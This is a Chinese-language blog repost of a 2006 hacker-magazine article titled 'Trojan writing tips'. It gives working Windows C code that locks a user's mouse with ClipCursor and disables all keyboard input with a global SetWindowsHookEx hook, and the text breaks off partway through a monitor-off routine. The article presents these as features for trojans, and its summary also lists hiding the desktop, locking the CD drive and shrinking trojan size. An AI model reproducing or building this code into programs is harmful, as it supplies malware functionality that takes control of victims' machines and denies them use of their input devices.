木马编写小技巧

本文介绍了几个Windows系统操作的技巧,包括安装键盘钩子阻止键盘输入、关闭显示器、隐藏桌面及窗口、锁定光驱、制造噪音等。此外,还探讨了如何通过编译选项和链接器设置来缩小木马程序的大小。
摘要由CSDN通过智能技术生成
                 1.锁定鼠标:
这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
 printf("/n别害怕15妙后你的鼠标就可以使用了^_^/n");
 RECT rect;
 rect.bottom=1;
 rect.right=1;
  ClipCursor(&rect);
 ::Sleep(15000);
 ClipCursor(NULL);//释放
 return 0;
}
  注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
rect是一个结构,表示锁定的范围我们通常只用 bottom和right两个域
2.锁定键盘:
锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了
  #include <stdio.h>
#include <windows.h>
//处理按键消息的过程函数
LRESULT CALLBACK keyproc( int code,
      WPARAM wParam,
      LPARAM lParam )
{
return 1;//返回1可使键盘停止响应
}

 main(int argc, char* argv[])
{

 SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安装键盘钩子
 printf("/n/n/n程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作的哦/n");
 ::Sleep(15000);
}
  注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无DLL的关键就在于GetModuleHandle(NULL),GetModuleHandle()参数为NULL得到的是调用者本身的模块句柄,也就是说用程序本身作为DLL。因为是console程序,所以随着程序的结束钩子也就OVER了,所以我并没有卸载钩子。钩子果然是强大,学会使用钩子你的水平就不一般了^_^.
3.关闭显视器
这个也是相当简单的看看代码:
#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
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